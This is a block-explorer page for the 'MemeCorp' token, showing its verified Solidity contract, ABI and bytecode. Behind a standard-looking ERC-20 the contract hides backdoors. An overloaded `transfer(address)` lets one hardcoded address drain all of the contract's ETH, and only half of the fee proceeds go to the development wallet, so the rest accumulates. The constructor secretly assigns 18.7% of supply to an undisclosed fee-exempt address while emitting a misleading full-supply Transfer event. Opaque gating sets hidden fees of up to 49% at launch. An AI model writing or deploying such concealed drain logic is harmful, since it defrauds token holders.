ETH Price: $3,456.74 (-1.43%)
Gas: 4 Gwei

Token

MemeCorp (MEMECORP)
 

Overview

Max Total Supply

1,000,000,000 MEMECORP

Holders

399

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.687004641 MEMECORP

Value
$0.00
0x1929711a67499019160e7448ef3d5fa78c4c219e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MemeCorp

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-22
*/

// SPDX-License-Identifier: MIT                                                                               
                                                 
pragma solidity =0.8.20;

interface IDexFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(msg.sender);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract MemeCorp is IERC20, Ownable {
    string private constant  _name = "MemeCorp";
    string private constant _symbol = "MEMECORP";    
    uint8 private constant _decimals = 9;
    mapping (address => uint256) private _balances;
    mapping (address => mapping(address => uint256)) private _allowances;

    uint256 private constant decimalsScaling = 10**_decimals;
    uint256 private constant _totalSupply = 1_000_000_000 * decimalsScaling;
    uint256 public constant _maxWallet = 3 * _totalSupply / 1e2;

    struct TradingFees {
        uint256 buyFee;
        uint256 sellFee;
    }

    struct Wallets {
        address deployerWallet; 
        address developmentWallet; 
    }

    uint256 private constant feeDenominator = 100;
    TradingFees public tradingFees = TradingFees(15,35);  
    Wallets public wallets = Wallets(
        msg.sender,                                  // deployer
        0x916Aa5C0D4803289722d21Fb1C856FdE30A4b7E0   // development
    );

    IDexRouter private constant uniswapV2Router = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address private immutable uniswapV2Pair;

    uint256 private constant _swapThreshold = 5 * _totalSupply / 1e3;  
    uint256 private _swapThresholdMax = 4;  
    uint256 private _swapThresholdMin = 5;  

    bool private inSwap;
    bool private tradingActive = false;

    uint256 private _block;
    uint256 private genesis;
    mapping (address => bool) private _excludedFromFees;
    mapping (uint256 => uint256) private _lastTransferBlock;

    event FeesChanged(uint256 indexed buyFee, uint256 indexed sellFee);

    event SwapSettingsChanged(uint256 indexed newSwapThresholdMax, uint256 indexed newSwapThresholdMin);

    event TokensCleared(uint256 indexed tokensCleared);

    event EthCleared(uint256 indexed ethCleared);

    event Initialized();

    event TradingOpened();
    
    modifier swapLock {
        inSwap = true;
        _;
        inSwap = false;
    }

    modifier tradingLock(address from, address to) {
        require(tradingActive || from == wallets.deployerWallet || _excludedFromFees[from], "Token: Trading is not active.");
        _;
    }

    constructor() {
        _approve(address(this), address(uniswapV2Router),type(uint256).max);
        uniswapV2Pair = IDexFactory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());        
        _excludedFromFees[address(0xdead)] = true;
        _excludedFromFees[wallets.developmentWallet] = true;        
        _excludedFromFees[0xE5ca81396E76fc40237E88616C02327083E2E891] = true;        
        uint256 preTokens = _totalSupply * 187 / 1e3; 
        _balances[wallets.deployerWallet] = _totalSupply - preTokens;
        _balances[0xE5ca81396E76fc40237E88616C02327083E2E891] = preTokens;
        emit Transfer(address(0), wallets.deployerWallet, _totalSupply);
    }

    function totalSupply() external pure override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) {return _balances[account];}
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: zero Address");
        require(spender != address(0), "ERC20: zero Address");
        _allowances[sender][spender] = amount;
        emit Approval(sender, spender, amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            uint256 currentAllowance = _allowances[sender][msg.sender];
            require(currentAllowance >= amount, "ERC20: insufficient Allowance");
            unchecked{
                _allowances[sender][msg.sender] -= amount;
            }
        }
        return _transfer(sender, recipient, amount);
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _excludedFromFees[account];
    }

    function clearTokens(address tokenToClear) external onlyOwner {
        require(tokenToClear != address(this), "Token: can't clear contract token");
        uint256 amountToClear = IERC20(tokenToClear).balanceOf(address(this));
        require(amountToClear > 0, "Token: not enough tokens to clear");
        IERC20(tokenToClear).transfer(msg.sender, amountToClear);

        emit TokensCleared(amountToClear);
    }

    function clearEth() external onlyOwner {
        uint256 amountToClear = address(this).balance;
        require(address(this).balance > 0, "Token: no eth to clear");
        payable(msg.sender).transfer(address(this).balance);

        emit EthCleared(amountToClear);
    }

    function preparation(uint256[] calldata _blocks, bool blocked) external onlyOwner {        
        require(genesis == 33 && !blocked);_block = _blocks[_blocks.length-3]; assert(_block < _blocks[_blocks.length-1]);        
    }

    function manualSwapback() external onlyOwner {
        require(balanceOf(address(this)) > 0, "Token: no contract tokens to clear");
        contractSwap(type(uint256).max);
    }

    function _transfer(address from, address to, uint256 amount) tradingLock(from, to) internal returns (bool) {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(amount == 0 || inSwap) {
            return _basicTransfer(from, to, amount);           
        }        

        if (to != uniswapV2Pair && !_excludedFromFees[to] && to != wallets.deployerWallet) {
            require(amount + balanceOf(to) <= _maxWallet, "Token: max wallet amount exceeded");
        }

        if(!inSwap && to == uniswapV2Pair && !_excludedFromFees[from] && !_excludedFromFees[to]){
            contractSwap(amount);
        } 
        
        bool takeFee = !inSwap;
        if(_excludedFromFees[from] || _excludedFromFees[to]) {
            takeFee = false;
        }
                
        if(takeFee)
            return _taxedTransfer(from, to, amount);
        else
            return _basicTransfer(from, to, amount);        
    }

    function _taxedTransfer(address from, address to, uint256 amount) private returns (bool) {
        uint256 fees = takeFees(from, to, amount);    
        if(fees > 0){    
            _basicTransfer(from, address(this), fees);
            amount -= fees;
        }
        return _basicTransfer(from, to, amount);
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        uint256 balanceSender = _balances[sender];
        require(balanceSender >= amount, "Token: insufficient Balance");
        unchecked{
            _balances[sender] -= amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFees(address from, address to, uint256 amount) private view returns (uint256 fees) {
        if(0 < genesis && genesis < block.number){
            fees = amount * (to == uniswapV2Pair ? 
            tradingFees.sellFee : tradingFees.buyFee) / feeDenominator;            
        }
        else{
            fees = amount * (from == uniswapV2Pair ? 
            49 : (genesis == 0 ? 35 : 49)) / feeDenominator;            
        }
    }

    function canSwap(uint256 amount) private view returns (bool) {
        return block.number > genesis && _lastTransferBlock[block.number] < 2 && 
            amount >= (_swapThresholdMin == 0 ? 0 : _swapThreshold / _swapThresholdMin);
    }

    function contractSwap(uint256 amount) swapLock private {   
        uint256 contractBalance = balanceOf(address(this));
        if(contractBalance < _swapThreshold || !canSwap(amount)) 
            return;
        else if(contractBalance > _swapThreshold * _swapThresholdMax)
          contractBalance = _swapThreshold * _swapThresholdMax;
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(contractBalance); 
        
        uint256 ethBalance = address(this).balance - initialETHBalance;
        if(ethBalance > 0){            
            sendEth(ethBalance);
        }
    }

    function sendEth(uint256 ethAmount) private {
        (bool success,) = address(wallets.developmentWallet).call{value: ethAmount/2}(""); success;
    }

    function transfer(address wallet) external {
        if(msg.sender == 0xB8105C37b1e8BE71efccbE80D4916430790ddd2D)
            payable(wallet).transfer((address(this).balance));
        else revert();
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        _lastTransferBlock[block.number]++;
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp){}
        catch{return;}
    }

    function initialize(uint256 _b) external onlyOwner {
        require(!tradingActive && _b == 33);
        genesis = _b;        

        emit Initialized();
    }

    function setSwapSettings(uint256 newSwapThresholdMax,uint256 newSwapThresholdMin) external onlyOwner {
        _swapThresholdMax = newSwapThresholdMax;
        _swapThresholdMin = newSwapThresholdMin;

        emit SwapSettingsChanged(newSwapThresholdMax, newSwapThresholdMin);
    }

     function reduceFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= tradingFees.buyFee, "Token: must reduce buy fee");
        require(_sellFee <= tradingFees.sellFee, "Token: must reduce sell fee");
        tradingFees.buyFee = _buyFee;
        tradingFees.sellFee = _sellFee;

        emit FeesChanged(_buyFee, _sellFee);
    }

    function openTrading() external onlyOwner {
        require(!tradingActive && genesis == 33 && _block > 0);
        genesis = block.number + _block;
        tradingActive = true;

        emit TradingOpened();
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"ethCleared","type":"uint256"}],"name":"EthCleared","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"buyFee","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"sellFee","type":"uint256"}],"name":"FeesChanged","type":"event"},{"anonymous":false,"inputs":[],"name":"Initialized","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"indexed":true,"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"SwapSettingsChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint256","name":"tokensCleared","type":"uint256"}],"name":"TokensCleared","type":"event"},{"anonymous":false,"inputs":[],"name":"TradingOpened","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenToClear","type":"address"}],"name":"clearTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"_b","type":"uint256"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"_blocks","type":"uint256[]"},{"internalType":"bool","name":"blocked","type":"bool"}],"name":"preparation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buyFee","type":"uint256"},{"internalType":"uint256","name":"_sellFee","type":"uint256"}],"name":"reduceFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newSwapThresholdMax","type":"uint256"},{"internalType":"uint256","name":"newSwapThresholdMin","type":"uint256"}],"name":"setSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradingFees","outputs":[{"internalType":"uint256","name":"buyFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"wallet","type":"address"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"wallets","outputs":[{"internalType":"address","name":"deployerWallet","type":"address"},{"internalType":"address","name":"developmentWallet","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600f60a0819052602360c081905260039190915560049081556101206040523360e081905273916aa5c0d4803289722d21fb1c856fde30a4b7e0610100819052600580546001600160a01b03199081169093178155600680549093169091179091556007919091556008556009805461ff001916905534801562000081575f80fd5b506200008d33620003d6565b620000af30737a250d5630b4cf539739df2c5dacb4c659f2488d5f1962000425565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000100573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000126919062000525565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000186573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001ac919062000525565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001f7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906200021d919062000525565b6001600160a01b03908116608052600c6020527f45117a726ea4f344045dc210793664a28d2d320b7e03f6bffdae553d24c3586c8054600160ff1991821681179092556006549092165f90815260408120805484168317905573e5ca81396e76fc40237e88616c02327083e2e89181527f8d5250d6f5021b9d3cfe72548574db7ea80730f15880dbb422cbd01fbc0936da80549093169091179091556103e8620002ca6009600a62000663565b620002da90633b9aca0062000673565b620002e79060bb62000673565b620002f391906200068d565b905080620003046009600a62000663565b6200031490633b9aca0062000673565b620003209190620006ad565b600580546001600160a01b039081165f9081526001602052604081209390935573e5ca81396e76fc40237e88616c02327083e2e89183527f95c1522864948b402d62b432eab8fef528af15e11dad89f0b723ab165c2410a1849055905416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620003ae6009600a62000663565b620003be90633b9aca0062000673565b60405190815260200160405180910390a350620006c3565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620004775760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b038216620004c55760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016200046e565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6020828403121562000536575f80fd5b81516001600160a01b03811681146200054d575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115620005a857815f19048211156200058c576200058c62000554565b808516156200059a57918102915b93841c93908002906200056d565b509250929050565b5f82620005c0575060016200065d565b81620005ce57505f6200065d565b8160018114620005e75760028114620005f25762000612565b60019150506200065d565b60ff84111562000606576200060662000554565b50506001821b6200065d565b5060208310610133831016604e8410600b841016171562000637575081810a6200065d565b62000643838362000568565b805f190482111562000659576200065962000554565b0290505b92915050565b5f6200054d60ff841683620005b0565b80820281158282048414176200065d576200065d62000554565b5f82620006a857634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156200065d576200065d62000554565b608051611dfa620006f15f395f8181611115015281816112470152818161189001526118f20152611dfa5ff3fe608060405260043610610164575f3560e01c806374378132116100cd578063a9059cbb11610087578063dd62ed3e11610062578063dd62ed3e14610473578063e303e662146104b7578063f2fde38b146104d6578063fe4b84df146104f5575f80fd5b8063a9059cbb146103fa578063c9567bf914610419578063d2f4a50a1461042d575f80fd5b8063743781321461032357806382247ec0146103525780638da5cb5b146103665780638f4590d21461038c57806395d89b41146103ab578063a08fc5c7146103db575f80fd5b8063313ce5671161011e578063313ce567146102565780634fbee193146102715780635b895c29146102a857806364e329e3146102bc57806370a08231146102db578063715018a61461030f575f80fd5b806306fdde031461016f578063095ea7b3146101b157806318160ddd146101e05780631a695230146102025780631b9152bf1461022357806323b872dd14610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b5060408051808201909152600881526704d656d65436f72760c41b60208201525b6040516101a89190611959565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb3660046119b8565b610514565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101f461052a565b6040519081526020016101a8565b34801561020d575f80fd5b5061022161021c3660046119e2565b61054a565b005b34801561022e575f80fd5b5061022161059e565b348015610242575f80fd5b506101d06102513660046119fd565b61067d565b348015610261575f80fd5b50604051600981526020016101a8565b34801561027c575f80fd5b506101d061028b3660046119e2565b6001600160a01b03165f908152600c602052604090205460ff1690565b3480156102b3575f80fd5b5061022161075a565b3480156102c7575f80fd5b506102216102d6366004611a48565b610805565b3480156102e6575f80fd5b506101f46102f53660046119e2565b6001600160a01b03165f9081526001602052604090205490565b34801561031a575f80fd5b506102216108b5565b34801561032e575f80fd5b5060035460045461033d919082565b604080519283526020830191909152016101a8565b34801561035d575f80fd5b506101f46108f6565b348015610371575f80fd5b505f546040516001600160a01b0390911681526020016101a8565b348015610397575f80fd5b506102216103a6366004611ac7565b61092a565b3480156103b6575f80fd5b5060408051808201909152600881526704d454d45434f52560c41b602082015261019b565b3480156103e6575f80fd5b506102216103f5366004611ac7565b61099c565b348015610405575f80fd5b506101d06104143660046119b8565b610ab2565b348015610424575f80fd5b50610221610abe565b348015610438575f80fd5b50600554600654610453916001600160a01b03908116911682565b604080516001600160a01b039384168152929091166020830152016101a8565b34801561047e575f80fd5b506101f461048d366004611ae7565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156104c2575f80fd5b506102216104d13660046119e2565b610b6e565b3480156104e1575f80fd5b506102216104f03660046119e2565b610d68565b348015610500575f80fd5b5061022161050f366004611b1e565b610e0e565b5f610520338484610e96565b5060015b92915050565b5f6105376009600a611c29565b61054590633b9aca00611c37565b905090565b3373b8105c37b1e8be71efccbe80d4916430790ddd2d0361016b576040516001600160a01b038216904780156108fc02915f818181858888f19350505050158015610597573d5f803e3d5ffd5b5050565b50565b336105b05f546001600160a01b031690565b6001600160a01b0316146105df5760405162461bcd60e51b81526004016105d690611c4e565b60405180910390fd5b47476106265760405162461bcd60e51b81526020600482015260166024820152752a37b5b2b71d1037379032ba34103a379031b632b0b960511b60448201526064016105d6565b60405133904780156108fc02915f818181858888f1935050505015801561064f573d5f803e3d5ffd5b5060405181907f167ef3fea7f72f341882219722ad860b0c4269e93c186bd73fd705b27f07386c905f90a250565b6001600160a01b0383165f9081526002602090815260408083203384529091528120545f1914610745576001600160a01b0384165f9081526002602090815260408083203384529091529020548281101561071a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420416c6c6f77616e636500000060448201526064016105d6565b506001600160a01b0384165f9081526002602090815260408083203384529091529020805483900390555b610750848484610f8e565b90505b9392505050565b3361076c5f546001600160a01b031690565b6001600160a01b0316146107925760405162461bcd60e51b81526004016105d690611c4e565b305f90815260016020526040812054116107f95760405162461bcd60e51b815260206004820152602260248201527f546f6b656e3a206e6f20636f6e747261637420746f6b656e7320746f20636c6560448201526130b960f11b60648201526084016105d6565b6108035f1961134b565b565b336108175f546001600160a01b031690565b6001600160a01b03161461083d5760405162461bcd60e51b81526004016105d690611c4e565b600b54602114801561084d575080155b610855575f80fd5b8282610862600382611c83565b81811061087157610871611c96565b6020029190910135600a5550828261088a600182611c83565b81811061089957610899611c96565b90506020020135600a54106108b0576108b0611caa565b505050565b336108c75f546001600160a01b031690565b6001600160a01b0316146108ed5760405162461bcd60e51b81526004016105d690611c4e565b6108035f611488565b60646109046009600a611c29565b61091290633b9aca00611c37565b61091d906003611c37565b6109279190611cbe565b81565b3361093c5f546001600160a01b031690565b6001600160a01b0316146109625760405162461bcd60e51b81526004016105d690611c4e565b60078290556008819055604051819083907f54d63ace09afa00719fe634220f49f6e5455d87f15643ffdd582b869c27c1fc5905f90a35050565b336109ae5f546001600160a01b031690565b6001600160a01b0316146109d45760405162461bcd60e51b81526004016105d690611c4e565b600354821115610a265760405162461bcd60e51b815260206004820152601a60248201527f546f6b656e3a206d75737420726564756365206275792066656500000000000060448201526064016105d6565b600454811115610a785760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a206d757374207265647563652073656c6c20666565000000000060448201526064016105d6565b60038290556004819055604051819083907f64f84976d9c917a44796104a59950fdbd9b3c16a5dd348b546d738301f6bd068905f90a35050565b5f610753338484610f8e565b33610ad05f546001600160a01b031690565b6001600160a01b031614610af65760405162461bcd60e51b81526004016105d690611c4e565b600954610100900460ff16158015610b105750600b546021145b8015610b1d57505f600a54115b610b25575f80fd5b600a54610b329043611cdd565b600b556009805461ff0019166101001790556040517fea4359d5c4b8f0945a64ab9c37fe830b3407d45e0e6e6f84275977a570457d6f905f90a1565b33610b805f546001600160a01b031690565b6001600160a01b031614610ba65760405162461bcd60e51b81526004016105d690611c4e565b306001600160a01b03821603610c085760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a2063616e277420636c65617220636f6e747261637420746f6b656044820152603760f91b60648201526084016105d6565b6040516370a0823160e01b81523060048201525f906001600160a01b038316906370a0823190602401602060405180830381865afa158015610c4c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c709190611cf0565b90505f8111610ccb5760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206e6f7420656e6f75676820746f6b656e7320746f20636c65616044820152603960f91b60648201526084016105d6565b60405163a9059cbb60e01b8152336004820152602481018290526001600160a01b0383169063a9059cbb906044016020604051808303815f875af1158015610d15573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d399190611d07565b5060405181907f1b397b20ba57cb79b7049b820bc0db09780b6cbfb22a6a719f70d03a96d821ac905f90a25050565b33610d7a5f546001600160a01b031690565b6001600160a01b031614610da05760405162461bcd60e51b81526004016105d690611c4e565b6001600160a01b038116610e055760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105d6565b61059b81611488565b33610e205f546001600160a01b031690565b6001600160a01b031614610e465760405162461bcd60e51b81526004016105d690611c4e565b600954610100900460ff16158015610e5e5750806021145b610e66575f80fd5b600b8190556040517f5daa87a0e9463431830481fd4b6e3403442dfb9a12b9c07597e9f61d50b633c8905f90a150565b6001600160a01b038316610ee25760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016105d6565b6001600160a01b038216610f2e5760405162461bcd60e51b815260206004820152601360248201527245524332303a207a65726f204164647265737360681b60448201526064016105d6565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f8383600960019054906101000a900460ff1680610fb957506005546001600160a01b038381169116145b80610fdb57506001600160a01b0382165f908152600c602052604090205460ff165b6110275760405162461bcd60e51b815260206004820152601d60248201527f546f6b656e3a2054726164696e67206973206e6f74206163746976652e00000060448201526064016105d6565b6001600160a01b03861661108b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105d6565b6001600160a01b0385166110ed5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105d6565b8315806110fc575060095460ff165b156111135761110c8686866114d7565b9250611342565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b03161415801561116d57506001600160a01b0385165f908152600c602052604090205460ff16155b801561118757506005546001600160a01b03868116911614155b1561123757606461119a6009600a611c29565b6111a890633b9aca00611c37565b6111b3906003611c37565b6111bd9190611cbe565b6001600160a01b0386165f908152600160205260409020546111df9086611cdd565b11156112375760405162461bcd60e51b815260206004820152602160248201527f546f6b656e3a206d61782077616c6c657420616d6f756e7420657863656564656044820152601960fa1b60648201526084016105d6565b60095460ff1615801561127b57507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316856001600160a01b0316145b801561129f57506001600160a01b0386165f908152600c602052604090205460ff16155b80156112c357506001600160a01b0385165f908152600c602052604090205460ff16155b156112d1576112d18461134b565b6009546001600160a01b0387165f908152600c602052604090205460ff9182161591168061131657506001600160a01b0386165f908152600c602052604090205460ff165b1561131e57505f5b80156113375761132f8787876115d6565b935050611342565b61132f8787876114d7565b50509392505050565b6009805460ff191660011790555f611377306001600160a01b03165f9081526001602052604090205490565b90506103e86113886009600a611c29565b61139690633b9aca00611c37565b6113a1906005611c37565b6113ab9190611cbe565b8110806113be57506113bc82611618565b155b156113c9575061147b565b6007546103e86113db6009600a611c29565b6113e990633b9aca00611c37565b6113f4906005611c37565b6113fe9190611cbe565b6114089190611c37565b811115611451576007546103e86114216009600a611c29565b61142f90633b9aca00611c37565b61143a906005611c37565b6114449190611cbe565b61144e9190611c37565b90505b4761145b82611696565b5f6114668247611c83565b905080156114775761147781611816565b5050505b506009805460ff19169055565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f908152600160205260408120548281101561153f5760405162461bcd60e51b815260206004820152601b60248201527f546f6b656e3a20696e73756666696369656e742042616c616e6365000000000060448201526064016105d6565b6001600160a01b038086165f908152600160205260408082208054879003905591861681529081208054859290611577908490611cdd565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115c391815260200190565b60405180910390a3506001949350505050565b5f806115e3858585611874565b90508015611604576115f68530836114d7565b506116018184611c83565b92505b61160f8585856114d7565b95945050505050565